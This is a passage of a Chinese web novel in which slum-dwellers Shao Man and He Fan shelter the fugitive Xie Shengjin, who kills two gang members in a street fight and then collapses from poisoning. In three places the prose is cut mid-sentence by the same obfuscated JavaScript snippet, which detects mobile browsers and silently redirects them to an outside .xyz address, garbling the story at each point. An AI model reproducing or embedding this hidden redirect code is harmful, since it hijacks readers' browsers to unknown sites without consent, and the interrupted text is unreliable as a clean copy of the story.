下一秒他的脑袋一转,嗓音就温柔起来:“慢点,别噎着。” 何饭目瞪口呆地看着他。 邵满再一扭头,恶狠狠地,“看什么?” 何饭叹为观止心服口服,“邵哥你的声音和表情是滑动变阻器吗?一往盛谨姐那边转就和蔼可亲了。” “嗯。”维斯右看热闹不嫌事大。 “过分。”她点评道。 没想过有人站在自己这边,何饭被感动得涕泗横流,他正欲抱上维斯右,就在即将张开嘴时,维斯右的目光从谢盛谨脸上一扫而过,“但是人之常情。” 邵满的笑声爆发出来时何饭的嘴还没闭上。 “哈哈哈哈哈哈哈哈!!” 邵满笑得眼泪都快出来了,差点从桌上跌下去,“维斯右你这人怎么这样!” 维斯右面无表情地重复了一遍:“人之常情。” 邵满“啧”了一声,点评道:“过分。” 何饭被这两人气得刨了一大口饭,差点被噎着。“咳咳咳咳!”正当他满脸通红到处找水时,一杯温度适宜的白开水被一只冷白修长骨节分明的手递了过来。 何饭泪眼汪汪地一抬头。 谢盛谨脸上没什么表情,她轻轻推了推杯子,“喝。” 何饭诚惶诚恐地接过,然后一饮而尽。 “谢谢盛谨姐。”他的声音如蚊子嘤嘤。 不知怎的,何饭有点怕她。尽管谢盛谨时常表现得贴心周到,但何饭总觉得那不是对自己的,那是表现给邵满看的。他对谢盛谨没有一层“未成年”、“合作者”、“突逢巨变的可怜小孩”、“校友”等等多重叠加的滤镜,也不是谢盛谨精湛演技的展示对象,反而比邵满更能接触到谢盛谨的真实本性。这些毫不掩饰的冷酷漠然反而一遍又一遍加深了最初的印象:那把刀架在了邵满的脖子上,但刺进了何饭的心里。 但怕是有些怕的,好感也是有的。 何饭对谢盛谨的感情对比邵满一腔无处安放的兄长之情复杂得多,畏惧、好奇、佩服、慕强、谨慎诸多情绪都有。 “盛谨姐,你多吃点。伤口好得快。”他殷勤地朝着谢盛谨笑,没有任何把糖醋排骨拿回来的意思。 谢盛谨抬手把排骨放回去,在何饭制止的声音之前扯出一个不容拒绝的笑:“我够得到。” 何饭与她一对视,立刻噤口不言。 很快饭桌上的气氛恢复正常,邵满有一搭没一搭地跟维斯右聊天,“老猫呢?还不回来?” “还有几天。”维斯右专心致志地对付糖醋排骨,连个眼神都不给邵满,“你很急?” “有点。”邵满说,“有个东西只剩最后一步了,需要请他帮忙。” 维斯右点点头,问:“难吗?” “很难。不知道他能不能行。要是不行我们只能另寻他法了。” 邵满的心沉了沉,要是老猫做不到……如今最有希望联络外界的通讯工具就没办法完成。 这时候他突然感到自己被碰了碰,他抬眼望去,看到谢盛谨朝他一笑,做了个口型:“没关系。” 她在安慰我不要太紧张。 邵满想。 可紧张的哪里是我。 在贫民窟呆了四年,他都没看到任何希望。早已习惯了漫长等待的人并不会在意继续延长的时间,但谢盛谨—— 她似乎迫在眉睫。 维斯右没看到两人无声的交流。 她想了想,“让他试试。” “本来也是这个打算。”邵满夹起一筷青菜,不置可否,“希望能成。” 这时候维斯右突然想起什么,困惑地看着谢盛谨,继而看向邵满,再移向何饭,最后又盯着邵满,“阿谨是你什么人?” 怎么就阿谨了?熟得这么快吗? 邵满想,前两天我喊个小谨这人都心不甘情不愿的,怎么能这么区别对待? 他显然忘了他叫“小谨”的前情提要。 “远房表妹。”谢盛谨回答道。 邵满还处在愤愤不平被区别对待的心情里,一下子没反应过来。 谢盛谨加重了语气,“是吧,哥哥?” 哥哥。 邵满前面什么都没听到,但敏锐地捕捉到了最重要的两个字,瞬间一个激灵。 这孩子还瞎叫什么呢?什么哥哥不哥哥的,怎么一下子就叫得这么亲密……对了刚刚维斯右提了个什么问题来着,哦哦哦谢盛谨跟我什么关系吗?她怎么回答的来着,好像是远房表妹?所以他刚刚叫我一声哥哥其实完全没有任何问题,但是……但是…… 邵满卡壳了。 几秒后,就在其余三个人都等着他的反应时,这混账犹犹豫豫地转向谢盛谨,一张俊脸夹杂着羞涩、期待、难为情、不好意思等种种复杂的意思,他试探着,眼巴巴地望着谢盛谨: “……再叫一声?” 在邵满期期艾艾的注视下,谢盛谨看着他,睫羽轻轻一扑闪,顺从开口:“哥哥?” 她有意将吐词模糊不清,听上去颇有几分暧昧的含糊。 盯着呆愣的邵满,谢盛谨像找到了新玩具的小孩,兴致盎然地放轻声音,拖长了语调:“哥哥——怎么啦?” “没,没事。” 邵满倏地回神,他若无其事地夹了一筷子青菜。他现在看维斯右异常顺眼,连她旁边餐盘里堆积如山的光秃秃的排骨都顺眼起来。 邵安和他的年龄相差不大,几乎从不喊他哥哥,要么连名带姓地叫全名,要么整天“喂”来“喂”去的。何饭更不用说,从来都是“邵哥邵哥”地喊。 乍一听这乖巧懂事的称呼,邵满整个人神清气爽飘飘欲仙,有种如上天堂的飘忽感。他突然觉得自己像是垃圾山上被酸雨浸泡十年的机甲突然接入了顶级保养系统,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461613|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个齿轮都抹了顶级的润滑油,连被腐蚀的液压管都忍不住沉浸在即将成为“机上机”的美好幻想中。他明知这声“哥哥“八成掺了谢盛谨的恶趣味,可脑内还是噼里啪啦地炸起了烟花,整得他脑子现在酥酥麻麻的不甚清醒……邵满魂不守舍地伸出筷子,然后与何饭正在夹菜的手发出“砰”的一声。 邵满一瞬间回神了。 他皱着眉盯着何饭,感觉从未觉得何饭如此招人嫌过。 …… 吃完饭维斯右就离开了,临走时邵满把她送到门口,叮嘱她,“记得老猫一回来就告诉我。终端还能用吧?” “能。” “还有钱不?” “一点。” “能活不?” “勉强。” 邵满气不打一处来,“还去算命不?” 维斯右目光炯炯地盯着他,吐出一个字:“要。” “要个……”邵满硬生生憋了回去。 两人大眼瞪小眼地对视了半晌,最终邵满率先扛不住了,他垂头丧气地一摆手,“去吧去吧,唉,别被人一榔头敲进垃圾桶就行……哎呀你说你,你不能编点好话吗?哄别人开心点,说不定心情一好就甩了你一大票子钱,贫民窟有钱人还是挺多的,你专门去找那种兜里有钱的,说点好话,编一段啥的。还有,你至少去买副牌啊珠子啊装模作样一下子,别两手空空地就盯着人家,不被当成骗子就怪了!” 维斯右眼神直勾勾地盯着他。 邵满被盯得浑身不自在,“怎么?认识这么久突然被我的美貌惊艳了?” “你的命运被扭曲了。” 维斯右突然说。 邵满心里一惊,“你别瞎说啊,什么神神叨叨的,我不信这些……” “不对。”维斯右打断他,“没有被扭曲,是原本的一条支线连上来了。” 邵满听不懂她在念什么,但是想了想问道:“会发财吗?” 维斯右碧绿色的眼睛闪烁了一瞬,像是突然回到了现实般缓缓聚焦,她老实地回答:“没看出来。” 邵满心梗。 “滚滚滚!” 他一摆手,“你还是要饭去吧,拜拜!” …… 邵满回到家中,何饭和谢盛谨正在打牌,他们打的这个模式非常简单,两个人也可以完成,唯一的问题是,它非常依赖智商。 何饭的脸上已经被贴了一堆白条纸,眼睛都快睁不开了。反观谢盛谨,脸上干干净净,那张容貌逼人的脸丝毫没有受到任何东西的遮掩。 “啪”的一下,又一张纸条被贴上何饭的脸。 “你输了。”谢盛谨放下牌,气定神闲道,“我已经走完了。” 何饭扯下脸上的纸条,定睛一看,谢盛谨手上的牌果然已经出得干干净净,反观自己,还有十几张。 他心服口服,“妈呀,盛谨姐,你太厉害了!我才给你讲完规则你就这么牛!” “也许是新手保护期。”谢盛谨说,“天助我也。” 说这四个字的时候,她漫不经心地一抬眼,与站在不远处看着他们玩闹的邵满目光猝然相交。 她盯着邵满的眼睛。 既没有露出惯有的乖巧眼神,也没有摆出长时间以来的漫不经心的姿态,谢盛谨盯着背光处的邵满,眼睛里是难以言喻的势在必得。 她微笑着,将刚才那句话重复了一遍。 “——天助我也。” 16.喜欢不用客气 几天后的一个早上。 一向早起的谢盛谨没有起床。 邵满坐在椅子上抓着头发,过一会儿就看眼手腕上的终端。 几秒后,他看到从地下室走上来的何饭,脸上的欣喜还未来得及展露,就看到何饭身后空无一人,他表情一垮,“还没起?” “没。”何饭摇摇头。 “治疗仓里有人吧?”邵满问,“别是早就走了。” “有人。灯亮着的。”何饭白了他一眼,“我又不是傻子。” “那怎么回事?” 邵满百思不得其解,“睡过头了?” “可能吧。”何饭走到邵满旁边坐下,“那怎么办?我们现在去垃圾山吗?” 邵满想了想,摇摇头,“不去了。今天开店吧。” 何饭应了声,站起身哒哒哒地跑到大门口,在冰蓝色的锁上捣鼓了几下,然后张开双臂,将门重重地往两侧一推。 一大股带着凉意的风自外朝内扑面而来。 何饭深深地吸了一大口气,然后被呛得鼻涕横流。 “咳咳咳咳咳!能不能不要把垃圾扔我们店门口!没有家吗?!” 路过的半瞎义眼老头拄着根五彩斑斓的魔法少女拐杖,鄙夷地瞅了何饭一眼,“懒!该!” 何饭深吸一口气,心想这没素质的老年人就不跟他计较了…… 下一秒一个身强力壮的中年男人走过来搀扶着老头,“爸,你跟这群不知道爹是哪个的小瘪三计较什么呢?捡垃圾一辈子买不起你一个义眼!” 一老一中,两人相视一笑,嘴里发出了意味不明的“啧啧”声。 他们有意让何饭听见自己的交谈,故意站着不动,嘴里说得很大声:“谁不知道老板哪里来的零件,垃圾山上一抹多,这种东西还有人买?这些小东西……也就骗骗那些脑袋长草的冤大头,真特么以为自己买的是宝贝儿。有这钱还不如去窑子找点甜头,搞点毒不也行?……” “小贱人跟着垃圾佬,一群没出息的下贱东西!”他们越说越过分,“建议无涯帮派人来彻查,直接充公!爸啊你就别……” “pia”的一声! 各种黏糊糊的不明物体像粪便一样糊住中年男人的脑袋,他被这突如其来的攻击惊呆了,一时都想不起什么反抗。但嗅觉遭受的打击更为严重,恶臭得如同发酵了几个月再坏掉的臭豆腐、几个月不洗堆积如山的臭袜子以及浑浊成灰绿色还飘着一串串油污的臭水沟混杂在一起,男人目眦欲裂地呕了几下,然后“哇”的一声吐了出来。 刚好如同瀑布一般喷射在对面老头的身上。 紧接着街道上响起了得意忘形的开怀大笑。 “哈哈哈哈哈笑死我了我的妈呀,你们活该哈哈哈哈哈哈哈哈……爽不爽啊?喜不喜欢这袋好东西?喜欢早说啊,在门口站半天,还以为是支支吾吾不好意思改口呢!” 何饭师承邵满,别的不好说,但嘴炮功力一定掌握了他的精髓。 他双手叉腰站在修理铺门口,表情讥讽,“哪里来的叫花子,一袋不够还有第二袋是吧?要不老子再给你们尿一泡?” 中年男人刚把脸上的秽物抹开,就听到这一连串噼里啪啦羞辱劈头盖脸地砸过来,气得几欲吐血。 他刚呕吐完,腰还没有站直,双手撑在膝盖上恶狠狠地抬眼瞪着何饭,比童话里的老巫婆还要更怨毒。 何饭被这个眼神激起了血气。他的脸色一瞬间就沉下来。 他本身就是贫民窟土生土长的小孩,小时候父母就把他抛下,扔弃在舅舅舅妈家中。舅舅舅妈费力地抚养过他一段时间,但家中还有五个孩子的他们本身也并不富裕,最终无力承担各种开支和人头费,偷偷把他抛弃在路边。 何饭九岁那年在路上到处乞讨,啃过树皮,抢过狗食,去公平教吃过“圣餐”,在垃圾山上翻箱倒柜地找不合格营养液和过期食物,终于在快要饿死路边的时候,被路过的邵满捡回了家。 邵满非常负责。他把何饭捡回去,不仅仅是管他温饱吃穿,还教他手艺、传他知识、送他上学。 后来何饭才知道,邵满有个妹妹,名叫邵安,刚好在邵满捡到他的前段时间离开人世。正因为邵安生前喜欢走那条路,邵满才会遇到何饭。 他没见过邵安,但经常从邵满嘴里听说。那是一个既不安静也不温柔,但是非常坚强的姐姐。 这四年邵满对他非常好,喂他养他、教他育他,甚至让他管钱。 何饭从没人要的野种一点点变成了家养的小孩,但并不代表他完全忘记了跟野狗抢食的日子。 中年男人扑过来的瞬间,铁棍就“砰”地一声砸在他的头顶,何饭眼里的狠厉几乎看得人毛骨悚然。 不等对方手继续动手,他猛地矮身,像一头蓄势待发的猎豹,直冲向中年男人。与此同时铁棍被倏地被举起,在空中与挥舞过来的五彩拐杖剧烈地碰撞在一起,反推力撞得老头跌倒在地,中年人见状,更加狠毒地伸手去抓何饭,一只手去抢夺何饭手里的铁棍。 何饭像条鱼一样滑了过去,直冲向还没爬起来的老头,一脚踩上他刚要拿到拐杖的手骨! “啊啊啊啊!!” 凄厉的惨叫回荡在巷子里,中年男人目眦欲裂:“爸!——” 何饭反身一脚踢飞那根还在五颜六色闪光的魔法少女拐杖,迅速蹲下躲开了直击他面门的拳头。 那只青筋暴起的拳头带着“呼呼”的风声,从他的头顶呼啸而过,何饭尚来不及庆幸,一条粗壮的大腿横扫而来,“啪”地一声,一脚踹在何饭的背上,发出骨肉相击的沉重闷响。 何饭感到背部受到了重击,一口腥甜几乎瞬间就涌上了喉咙。 他艰难地吞了下去。 他根本没有时间休息,紧接着就是如狂风暴雨般的拳头!中年人怒吼着冲上来,眼睛怨毒地盯着何饭,里面的红血丝几乎要撑破眼球! 这时候何饭突然发现中年人的身躯在不易觉察地打颤,牙齿抖个不停。 这还是个瘾君子! 何饭快速侧过脸避开粗壮手臂如同钳子一般的攻击,紧接着他跳起来,飞起一脚踢在中年男人的胸口!就在这时何饭突然看到中年人脸上慢慢扬起的诡异笑容,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469396|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,心知不妙,但已经来不及了—— 枪支骤然从中年人的腰后抽出,他沉下脸色准备最后的一击! “砰!” 下一瞬何饭感觉到有温热的液体喷涌在他的脸上,他几乎要闭上眼等待最后的死亡。几秒后他却发现自己没有感受到任何疼痛。 何饭缓缓地、犹疑地睁开眼。 映入眼帘的是中年人缓缓倒下的身影。 他的身体,不,应该是尸体,此时已经没有了脑袋。 他的脑袋像是被一枚被炸开的西瓜,红红白白地铺在地上,脖子以上已经完全没有任何残留物了。 枪是不可能做到这样的。 何饭骤然回头。 修理铺门口站着两个人。 邵满脸上的表情不比他好多少,皱着眉,面露震惊。 另一个是谢盛谨。 她双手抱胸,站姿挺拔地倚靠着门框,脸上的是冷漠无情、凉薄如冰的漠然,长成一条长条疤痕的伤口更为她添了几分凶戾。 何饭的目光从低到高,呆呆地仰视着谢盛谨。 谢盛谨从被爆头的中年人身上挪开视线,轻轻一抬眼,冷冽如冰的目光直直地对何饭对上。 何饭感受到了一瞬间的头痛欲裂。 他轻轻微摇晃了下身体。 邵满眼尖地瞄到他的小动作,一惊,迅速扑过来,“没事吧?有没有受伤?我看看……” “砰!” 第二声。 邵满僵硬地一回头。 那个目睹儿子惨死面前被吓得一声不吭的老头并不是放弃了挣扎,而是拼命捡起了儿子留下的枪准备予以杀子仇人最后一击。 但他的速度在谢盛谨眼里慢得尤甚蜗牛,谢盛谨完全没有耐心等到他扣下扳机。 她随身携带的那把刀可不仅仅是一把刀,X-11型高密度聚合材料最初的目的可是为了承载量子炮的标准来构造的,贫民窟的大部分人连高级点的激光枪都没见过,哪有应对这些极高危特型武器的办法? 谢盛谨面无表情地转身进屋,仿佛她刚刚只是跟每天都见面的邻居打了个招呼。 目送着她挺拔如剑的背影,邵满和何饭面面相觑。 “邵哥……”何饭终于说了目前的第一句话。 邵满以为他被吓到了,“怎么了?” “盛谨姐……” 完蛋。邵满想。在他的心里,除了第一天,谢盛谨几乎还没怎么在何饭面前展露过如此具有攻击性的一面,何况今天的谢盛谨的确有些不合常理的暴戾,连他都惊住了。 邵满觉得首要任务是安抚何饭,维持两个孩子之间的关系,他组织着语言,正准备开口时,听到何饭压抑着兴奋的声音: “……好帅啊!刚刚是怎么做到的?能不能教教我!” 邵满的预备台词全部堵在喉头,他狠狠用眼神剐了何饭一眼,正准备教育他一顿时,谢盛谨的声音传来。 “邵哥。”她虚弱地站在门口,脸上的凶戾无情全都消失了,取而代之的是强行压抑着的痛苦和虚弱,“你能过来一下吗?” 17.毒发 邵满一愣,神情一紧,随即给了何饭一个眼神,“把外面都处理了。” 接着他站起身大步流星地朝谢盛谨走去:“怎么了?” 谢盛谨见他过来,毫不犹豫地转身就走。 邵满皱了皱眉,但立刻跟了上去。 谢盛谨走得很快,沿着楼梯飞快地走进地下室。她的治疗舱一直保持在邵满刚拖回来的位置,谢盛谨毫不犹豫地跳进去,就在她伸手准备关闭舱盖的下一瞬,一只手腕上绑着机械表的手横过来挡住了她的动作。 邵满皱着眉,居高临下地俯视她:“怎么了?” 谢盛谨仰头看着他,缓慢地一眨眼。 她仍保持着随时关闭舱盖的姿势,坐在治疗舱中,手指紧紧按在舱盖上,用力到指尖发白。 邵满觉得不对劲。 他的手抵住舱盖,与谢盛谨暗中较劲,“你怎么了?” 两人紧紧盯着对方,手底下越来越使劲,几乎用上了扳手腕时计较输赢的劲头。 但随着时间一秒一秒地过去,邵满眼睁睁地看着谢盛谨的脸色越来越苍白,额头上开始出现豆大的汗珠。额角的发丝紧紧贴在皮肤,不消一会儿汗珠如水一般往下流,把谢盛谨的眼睫毛弄得湿漉漉的。 ……就像她哭了一样。 邵满心里突然跳出这个念头。 下一秒谢盛谨突兀地松开了手。 邵满脑海中不知所云的想法刚冒出个苗头,手上的力还没收回来,对面的所有抵抗“唰”的一下消失了,他差点因为惯性向前一扑。 邵满险而又险地稳住了重心。 “你……” 他一抬眼,看到的是汗涔涔的、浑身都在颤抖的谢盛谨。汗水在她白得透明的皮肤上滚动,她紧闭着眼,像一碰就碎的瓷娃娃。 “怎么了?”邵满急了,“你说话啊?” “小谨?谢盛谨?” “谢盛谨?” 谢盛谨全无回应。 她的头无力地垂向一边,汗水如雨般倾泄,沿着脸庞徐徐流下,鬓角的发丝紧紧黏在一起,唇色惨白。 邵满第一次看到谢盛谨如此虚弱的样子。 地下室昏黄的光根本照不到这里,谢盛谨脸上只有营养仓的冷白灯光。这种毫无感情的冷光在她脸上投下脆弱的剪影,邵满的目光在她脸上流连一圈,真正地感受到何谓皮薄骨利的惊人美感。 谢盛谨长长的睫羽微微一颤。 她无力地掀开一道眼皮,露出润黑如墨的眼珠。 “……走开。” 她盯着邵满,命令道。 “走……” 与此同时她的手抓住了邵满的衣摆。 汗水沾湿了她的眼睫,她半垂着眼凝视着邵满。 “走、开。” 邵满担心地望着她,听从她的话刚想往旁边挪一步时,突然感到了衣摆的阻力。 他低下头,看到谢盛谨拽住他衣服的手因为用力而微微发白。 邵满感到了一种啼笑皆非的荒谬。 “我怎么走?” 他无奈地问。 “你至少也要放开手吧。”邵满久久蹲在治疗仓旁边,腿有些麻了。于是他换了个姿势,单膝跪在地上,“或者你告诉我怎么了?身体不舒服?还是出了什么事?” 邵满没指望谢盛谨能说。 在他心里谢盛谨一直是个智商极高内心别扭的傲娇孩子,正值青春期最容易风吹草动的时候,嘴比钻石硬心比天地宽,何况谢盛谨不仅嘴硬,还真的有能让她心比天高的资本。邵满一般会尽力避免接触到谢盛谨的隐私,但相处了这么久他还是对谢盛谨的性格略有些了解,于是他耸耸肩,准备揭过这个话题时—— “程沉给我下毒了。” 谢盛谨抿唇,软软地回答。 “特别过分。” “……” 邵满觉得刚刚是自己昨晚没睡好出现幻觉了。他的目光缓缓凝滞在空气,整个人如木乃伊一般石化了。 直到谢盛谨不满于他的走神,轻轻扯了扯他的衣角—— “你怎么不说话?” 邵满冷不丁地一激灵。 他第一反应是谢盛谨被鬼上身了这个时候自己急需远离,但是他的步子好像粘在地上黏住了胶水一般怎么都动不了。 我不对劲……她不对劲……我不对劲……她不对劲…… 随着衣角再次被晃了晃,邵满如梦初醒。 他艰难地一吞唾沫,“嗯,呃,我说话呀,这不正在说吗?” 他被劈得神志不清的脑子艰难地运作起来,“chengchen?” 他重复了一遍这个读音,突然觉得有点耳熟。 “成沉?程辰?陈尘?” 邵满组了好几个词,但都没再出现刚刚那抹仿佛昙花一现般的灵感。 “先记住吧,”他嘟囔着,“等会儿再说。” 这个时候脑子再有问题的人也应该反应过来了,谢盛谨的状态明显不对,但一时半会儿显然无法恢复。 邵满并非对生物药理一窍不通,照顾天生罹患罕见基因病的邵安多年,他找过所有能看懂的书籍进行自学,水平在普通人里绝对算得上一流。但他终究不是专业人才,面对这种诡异病状还是没有任何头绪。 正当邵满手足无措时,谢盛谨突然睁开了双眼。 大滴大滴的眼泪从她通红的眼睛里滚出,但这时候邵满却没觉得她在哭。 谢盛谨的表情没什么变化,依旧是苍白而没有生气的样子,但是邵满却莫名觉得有什么不一样了。 即使刚刚汗水沾湿睫毛都比现在的泪如雨下更具脆弱感,邵满觉得此时的谢盛谨像在跟药物抢夺自己身体的控制权,她的自我意识在苏醒在争夺,而眼泪是战斗的附属品——她可能只是因为应激等生理反应流下了泪水,而不是脆弱和难过的象征。 邵满不知道自己哪里来的直觉。但他觉得抓住自己衣角的手要离开了。 果不其然。 几秒后,谢盛谨浓如鸦羽的眼睫轻轻一扑闪。 她润泽如墨的眼珠经过了泪水的洗礼,仿佛被清水泼过的珍珠。 “邵哥。”她轻轻喊道。 啊,邵满想,这是醒了。 “我刚才不太清醒,给你添麻烦了。”她语速挺慢,似乎还在恢复,“不好意思。” 邵满问:“你前不久才给我说过相似的话,你记得吗?” 谢盛谨抬眼无辜地望着他。 邵满步步紧逼,“不记得了?” “当然记得。”谢盛谨眨眨眼,意有所指,“与邵哥相处的每一段时间我都反复回味记忆犹新。” 邵满不知道她是不是故意这么说的。他眯了眯眼,“是吗?那我们之前说了什么来着?” 他有意说得模糊不清,像出了一道明知学生答不出的题目。 但谢盛谨作弊般地给出了标准答案:“别跟你太客气。” “我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473192|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的,”她偏了偏脑袋,“邵哥对我说过的每一句话我都牢记于心。” 邵满被反将一军。 他的笑容一收,沉沉问道:“所以?” “对不起邵哥。” “嗯?”邵满眯了眯眼。 “我错了。”谢盛谨笑起来,“是我的问题,保证不会再犯。但我还是未成年,邵哥你得允许我犯错,是吧?” 邵满无言以对。 他敏锐地察觉到谢盛谨有些不一样了,她之前可是很顾忌“未成年”这个话题,老担心邵满看轻她。但现在这种顾虑骤然消失了。 邵满想不清楚这种变化的来源干脆就不想,他被倒打一耙的郁闷来得快消失得也快,“行。你知道就好。” “怎么突然主动说自己是未成年了?”邵满久跪起身,差点没站稳,“之前不是讳莫如深的吗?” 谢盛谨盯着邵满的膝盖,几秒后才回答道:“想开了。” “这有什么想不开的?”邵满“啧”了一声,“真难理解。” “没事了吧?”他问。 谢盛谨点头,“没事了。” “那介意给我讲讲吗?” 谢盛谨想了想,“被下毒了。” 邵满等了半天,一懵,“没了?” 谢盛谨茫然地看着他。 看来是真没了。这次不是装的。邵满评价道:“你不适合当演讲家。” “我不需要当演讲家。”谢盛谨眨眨眼。 她这一句让邵满证实了自己之前的猜想:这孩子家里是从商的。因为从政的人得口才奇佳。 “下的毒严重不?” “盲信和听从毒发后见到的第一个人,副作用是摧毁神志、变成弱智,严重者直接休克毙命。” 邵满感到匪夷所思,“还有这种毒啊?那应该很难做吧?下毒的人准备让你盲目听从他吗?” 那个叫“chengchen”的人? 邵满心里琢磨了一遍,突然意识到:cheng?哪个cheng?会下毒的cheng? 程家的程。 迷雾如拨云见日一般消散了。 程家人对付谢家人,很合理。 所以是家族内有人通敌?还是本身敌人就是这个“程沉”? 邵满没问。他们的合作程度还没这么深,没必要问这这么仔细。但并不妨碍他对谢盛谨充满怜惜。 未成年人啊。联邦的花朵啊。 别人这个时候还在读高中呢,过着快快乐乐的学院生活,谢盛谨已经被迫流浪贫民窟身患剧毒还负重伤,邵满突然想到那两具还躺在门口不知是否被收拾干净了的尸体。 所以这种孩子冷酷了点怎么了?不冷酷怎么活下去?不活下去怎么报仇?不报仇怎么享受人生? 邵满把自己的逻辑往谢盛谨头上一套,心安理得地说服自己接受了。 小可怜儿。 邵满瞅着小可怜儿,“还能动吗?” “不太能。”谢盛谨感受了一下,“我现在有点虚。” “那就好好休息一会儿。”邵满站起身,“我去看看你崩掉的两具尸体。” 谢盛谨突然想起这事,心里难得一咯噔,“没事吧?” “尸体吗?” “你。” “还活着呢。” 谢盛谨无言。 邵满难得看见她吃瘪,心情舒爽地嘿嘿一笑,“用不着你操心。两个混混而已,易如反掌啦。” 18.一群神人 邵满从地下室出来时神清气爽。 何饭坐在沙发上看到他这样子,舒了口气,问道:“盛谨姐没事吧?” “有我在,她能有什么事!” 何饭哼哼两声,嘀咕道:“那可不一定。” 邵满掏掏耳朵,“你说什么?” 何饭变脸般地喜笑颜开,“那肯定啊!有邵哥在,能有什么问题!” 邵满得到了他应有的赞赏,心满意足。他走到何饭身边坐下,舒舒服服地展开手往沙发上一靠,“人呢?” 何饭目不转睛地盯着屏幕,“化了。” “害不害怕?” “又不是第一次见到死人!” “可给你牛的。”邵满看他一眼,“那俩是什么来头?” “无涯帮的。我看到手上的纹身了。” “你怎么跟无涯帮的打起来了?” “他们没说自己是无涯帮的,而且是他们犯贱在先。”何饭理直气壮,“无涯帮的不能打吗?” 邵满点头:“能。但是别打好人,我教过你的对吧?别被别人哄骗着就去了。” “我知道!” 邵满也相信何饭知道。 生长在没有法律的贫民窟,他没法按照一二圈层的教育方式来教导何饭。力量和权力,两个最有用的东西,何饭至少得有一样。 两人安静下来,开始看电视。 十分钟后,何饭突然问道:“要是无涯帮来找人?” “蒙混过去。” “行。” “饿了没?” 何饭一转头盯着邵满,眼睛里有些许期冀,“你要做饭吗?” “做梦呢?打了架还要我做饭?自己去。” 何饭脸色一垮,“那你问我干嘛?” “这是在委婉地表达我饿了。听不出来吗?” 何饭气鼓鼓地从沙发站起来,狠狠瞪了邵满一眼,然后走进了厨房。 邵满心安理得地往侧边一躺,霸占了全部的沙发,他朝厨房吼道:“多做几个菜!精进一下厨艺!不然哪个小姑娘要你!” 何饭愤怒地大吼:“我又不想结婚!” “没事。”邵满咂咂嘴,他觉得自己是个宽容大度的家长,孩子爱结不结,“你把我伺候好了就行。” 厨房里传来“噼里啪啦”的锅碗瓢盆相互碰撞的声音,以示何饭的愤怒。 邵满火上浇油,“怎么这么吵?你要去乐队当鼓手了?这是卖脸的活儿,还是交给你邵哥我来做吧。” 何饭终于甘罢下风。 人至贱则无敌。邵满的脸皮已经进化到子弹都打不穿的程度了。 …… 四十分钟后,两人坐在餐桌上。 何饭嚼着土豆丝,问道:“盛谨姐呢?她不出来吃饭吗?” “一天到晚盛谨姐盛谨姐的,她救了你命吗?好吧确实,要不你去问问?” 何饭百年难得一遇地扭捏起来,“……不太好吧。” 邵满一口饭喷出来,“你娇羞个什么劲儿啊?!救命之恩是用不着以身相许的,何况她还是未成年,不能谈恋爱!” 何饭愤怒了,“我没有想谈恋爱!你思想能不能别这么龌龊!而且不止她是未成年,我还是呢!” “嗐。”邵满摆摆手,“谁关心你。” 及时响起的敲门声拯救了邵满一命。 何饭憋着气,扭头看向门口:“谁啊?门没关,进来!” “万一是客人呢?”邵满装模作样地教育他,“别这么凶,到时候客人全都不来了,我们只有倒闭这一个下场。” 何饭瞅着他,匪夷所思,“这么多天你不是关门就是不营业,我以为你早就做好了倒闭卖身再就业的准备呢。” 邵满呵呵一声,立刻反击,“老子卖身也是一晚上千的水准,香槟美酒唾手可得,要是真倒闭了那就……” “倒闭?谁?” 门口走进来的人问。 维斯右穿过了架台,站在餐桌前。她深吸一口气,“好香。” 在桌上两人沉默的注视下,她坦荡地走进了厨房,拿了双筷子出来,自然而然地坐在餐桌前,一动筷,“好吃。” 几秒后她转头对何饭说道:“进步了。” 何饭矜持地点头。 邵满看到这人就来气,“你过来干什么?” 维斯右抬头看他一眼,不语。 “你刚刚敲门的目的是什么?做法啊?”邵满盯着维斯右的筷子,“平时也没见你那么客气啊?” 维斯右说话了:“仪式感。” 何饭笑得东倒西歪。 邵满额头上的青筋跳了两下。 “食不言寝不语。”维斯右说,“吃饭。” 邵满对她无话可说。 他生平最讨厌这种不但话少还神经质根本无法沟通的人。 他深吸一口气,“你……” “老猫回来了。” 维斯右在忙碌的咀嚼间隙中说了一句。 “……你不早说?!”邵满怒发冲冠,片刻后语调诡异地一转,“——你今天随便吃!何饭!上菜!” 他低下头非常迅猛地扒了两口饭,然后倏地站起身,一抹嘴,“我去叫谢盛谨。” …… 谢盛谨在睡觉。 她没有盖上治疗仓,将舱体上面的白光调至最低,像躺在了手术台上。 邵满忍不住放轻脚步。 